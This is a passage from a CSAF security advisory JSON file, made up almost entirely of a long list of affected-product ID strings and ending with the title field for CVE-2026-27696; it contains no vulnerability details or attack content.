                        "CSAFPID-3760088",
                        "CSAFPID-3760089",
                        "CSAFPID-3760090",
                        "CSAFPID-3760091",
                        "CSAFPID-3760092",
                        "CSAFPID-3760093",
                        "CSAFPID-3760094",
                        "CSAFPID-3760095",
                        "CSAFPID-3760096",
                        "CSAFPID-3760097",
                        "CSAFPID-3760098",
                        "CSAFPID-3760099",
                        "CSAFPID-3760100",
                        "CSAFPID-3760101",
                        "CSAFPID-3760102",
                        "CSAFPID-3760103",
                        "CSAFPID-3760104",
                        "CSAFPID-3760105",
                        "CSAFPID-3760106",
                        "CSAFPID-3760107",
                        "CSAFPID-3760108",
                        "CSAFPID-3760109",
                        "CSAFPID-3760110",
                        "CSAFPID-3760111",
                        "CSAFPID-3760112",
                        "CSAFPID-3760113",
                        "CSAFPID-3760114",
                        "CSAFPID-5178108",
                        "CSAFPID-5178109",
                        "CSAFPID-5178110",
                        "CSAFPID-5178111",
                        "CSAFPID-5178112",
                        "CSAFPID-5178113",
                        "CSAFPID-5178114",
                        "CSAFPID-5178115",
                        "CSAFPID-5178116",
                        "CSAFPID-5178117",
                        "CSAFPID-5178118",
                        "CSAFPID-5178119",
                        "CSAFPID-5178120",
                        "CSAFPID-5178121",
                        "CSAFPID-5178122",
                        "CSAFPID-5178123",
                        "CSAFPID-5178124",
                        "CSAFPID-5178125",
                        "CSAFPID-5178126",
                        "CSAFPID-5178127",
                        "CSAFPID-5178128",
                        "CSAFPID-5178129",
                        "CSAFPID-5178130",
                        "CSAFPID-5178131",
                        "CSAFPID-5178132",
                        "CSAFPID-5178133",
                        "CSAFPID-5178134",
                        "CSAFPID-5178135",
                        "CSAFPID-5178136",
                        "CSAFPID-5178137",
                        "CSAFPID-5633887",
                        "CSAFPID-5700903",
                        "CSAFPID-5706526",
                        "CSAFPID-5713303",
                        "CSAFPID-5713304",
                        "CSAFPID-5713305",
                        "CSAFPID-5713306",
                        "CSAFPID-5713307",
                        "CSAFPID-5713308",
                        "CSAFPID-5713309",
                        "CSAFPID-5713310",
                        "CSAFPID-5713311",
                        "CSAFPID-5713312",
                        "CSAFPID-5713313",
                        "CSAFPID-5713314",
                        "CSAFPID-5713315",
                        "CSAFPID-5713316",
                        "CSAFPID-5713317",
                        "CSAFPID-5713318",
                        "CSAFPID-5713319",
                        "CSAFPID-5713320",
                        "CSAFPID-5713321",
                        "CSAFPID-5713322",
                        "CSAFPID-5713323",
                        "CSAFPID-5713324",
                        "CSAFPID-5713325",
                        "CSAFPID-5713326",
                        "CSAFPID-5713327",
                        "CSAFPID-5713328",
                        "CSAFPID-5713329",
                        "CSAFPID-5713330",
                        "CSAFPID-5713331",
                        "CSAFPID-5723136",
                        "CSAFPID-5723137",
                        "CSAFPID-5723138",
                        "CSAFPID-5723139",
                        "CSAFPID-5723140",
                        "CSAFPID-5723141",
                        "CSAFPID-5723142",
                        "CSAFPID-5723143",
                        "CSAFPID-5723144",
                        "CSAFPID-5723145",
                        "CSAFPID-5723146",
                        "CSAFPID-5723147",
                        "CSAFPID-5723148",
                        "CSAFPID-5723149",
                        "CSAFPID-5723150",
                        "CSAFPID-5723151",
                        "CSAFPID-5723152",
                        "CSAFPID-5723153",
                        "CSAFPID-5723154",
                        "CSAFPID-5723155",
                        "CSAFPID-5723156",
                        "CSAFPID-5723157",
                        "CSAFPID-5723158",
                        "CSAFPID-5723159",
                        "CSAFPID-5723160",
                        "CSAFPID-5723161",
                        "CSAFPID-5723162",
                        "CSAFPID-5723163",
                        "CSAFPID-5723164",
                        "CSAFPID-5723165",
                        "CSAFPID-5723166",
                        "CSAFPID-5723167",
                        "CSAFPID-5723168",
                        "CSAFPID-5723169",
                        "CSAFPID-5723170",
                        "CSAFPID-5723171",
                        "CSAFPID-5723172",
                        "CSAFPID-5723173",
                        "CSAFPID-5723174",
                        "CSAFPID-5723175",
                        "CSAFPID-5723176",
                        "CSAFPID-5723177",
                        "CSAFPID-5723178",
                        "CSAFPID-5723179",
                        "CSAFPID-5723180",
                        "CSAFPID-5723181",
                        "CSAFPID-5723182",
                        "CSAFPID-5723183",
                        "CSAFPID-5723184",
                        "CSAFPID-5723185",
                        "CSAFPID-5723186",
                        "CSAFPID-5723187",
                        "CSAFPID-5723188",
                        "CSAFPID-5723189",
                        "CSAFPID-5723190",
                        "CSAFPID-5723191",
                        "CSAFPID-5723192",
                        "CSAFPID-5723193",
                        "CSAFPID-5723194",
                        "CSAFPID-5723195",
                        "CSAFPID-5723196",
                        "CSAFPID-5723197",
                        "CSAFPID-5723198",
                        "CSAFPID-5723199",
                        "CSAFPID-5723200",
                        "CSAFPID-5723201",
                        "CSAFPID-5723202",
                        "CSAFPID-5723203",
                        "CSAFPID-5723204",
                        "CSAFPID-5723205",
                        "CSAFPID-5723206",
                        "CSAFPID-5723207",
                        "CSAFPID-5723208",
                        "CSAFPID-5723209",
                        "CSAFPID-5723210",
                        "CSAFPID-5723211",
                        "CSAFPID-5723212",
                        "CSAFPID-5723213",
                        "CSAFPID-5723214",
                        "CSAFPID-5723215",
                        "CSAFPID-5723216",
                        "CSAFPID-5723217",
                        "CSAFPID-5723218",
                        "CSAFPID-5723219",
                        "CSAFPID-5723220",
                        "CSAFPID-5723221",
                        "CSAFPID-5723222",
                        "CSAFPID-5723223",
                        "CSAFPID-5723224",
                        "CSAFPID-5723225",
                        "CSAFPID-5723226",
                        "CSAFPID-5723227",
                        "CSAFPID-5723228",
                        "CSAFPID-5723229",
                        "CSAFPID-5723230",
                        "CSAFPID-5723231",
                        "CSAFPID-5723232",
                        "CSAFPID-5723233",
                        "CSAFPID-5723234",
                        "CSAFPID-5723235",
                        "CSAFPID-5723236",
                        "CSAFPID-5723237",
                        "CSAFPID-5723238",
                        "CSAFPID-5723239",
                        "CSAFPID-5723240",
                        "CSAFPID-5723241",
                        "CSAFPID-5723242",
                        "CSAFPID-5723243",
                        "CSAFPID-5723244",
                        "CSAFPID-5723245",
                        "CSAFPID-5723246",
                        "CSAFPID-5723247",
                        "CSAFPID-5723248",
                        "CSAFPID-5723249",
                        "CSAFPID-5723250",
                        "CSAFPID-5723251",
                        "CSAFPID-5723252",
                        "CSAFPID-5723253",
                        "CSAFPID-5723254",
                        "CSAFPID-5723255",
                        "CSAFPID-5723256",
                        "CSAFPID-5723257",
                        "CSAFPID-5723258",
                        "CSAFPID-5723259",
                        "CSAFPID-5723260",
                        "CSAFPID-5723261",
                        "CSAFPID-5723262",
                        "CSAFPID-5723263",
                        "CSAFPID-5723264",
                        "CSAFPID-5723265",
                        "CSAFPID-5723266",
                        "CSAFPID-5723267",
                        "CSAFPID-5723268",
                        "CSAFPID-5723269",
                        "CSAFPID-5723270",
                        "CSAFPID-5723271",
                        "CSAFPID-5723272",
                        "CSAFPID-5723273",
                        "CSAFPID-5723274",
                        "CSAFPID-5723275",
                        "CSAFPID-5723276",
                        "CSAFPID-5723277",
                        "CSAFPID-5723278",
                        "CSAFPID-5723279",
                        "CSAFPID-5723280",
                        "CSAFPID-5723281",
                        "CSAFPID-5723282",
                        "CSAFPID-5723283",
                        "CSAFPID-5723284",
                        "CSAFPID-5723285",
                        "CSAFPID-5723286",
                        "CSAFPID-5723287",
                        "CSAFPID-5723288",
                        "CSAFPID-5723289",
                        "CSAFPID-5723290",
                        "CSAFPID-5723291",
                        "CSAFPID-5723292",
                        "CSAFPID-5723294",
                        "CSAFPID-5723295",
                        "CSAFPID-5723296",
                        "CSAFPID-5723297",
                        "CSAFPID-5723298",
                        "CSAFPID-5723299",
                        "CSAFPID-5723301",
                        "CSAFPID-5723302",
                        "CSAFPID-5723303",
                        "CSAFPID-5723304",
                        "CSAFPID-5723305",
                        "CSAFPID-5723306",
                        "CSAFPID-5723307",
                        "CSAFPID-5723308",
                        "CSAFPID-5723309",
                        "CSAFPID-5723310",
                        "CSAFPID-5723311",
                        "CSAFPID-5723312",
                        "CSAFPID-5723313",
                        "CSAFPID-5723314",
                        "CSAFPID-5723315",
                        "CSAFPID-5723316",
                        "CSAFPID-5723317",
                        "CSAFPID-5723318",
                        "CSAFPID-5723319",
                        "CSAFPID-5723320",
                        "CSAFPID-5723321",
                        "CSAFPID-5723322",
                        "CSAFPID-5723327",
                        "CSAFPID-5723328",
                        "CSAFPID-5753601"
                    ]
                }
            ],
            "title": "CVE-2026-27696"
        }
    ]
}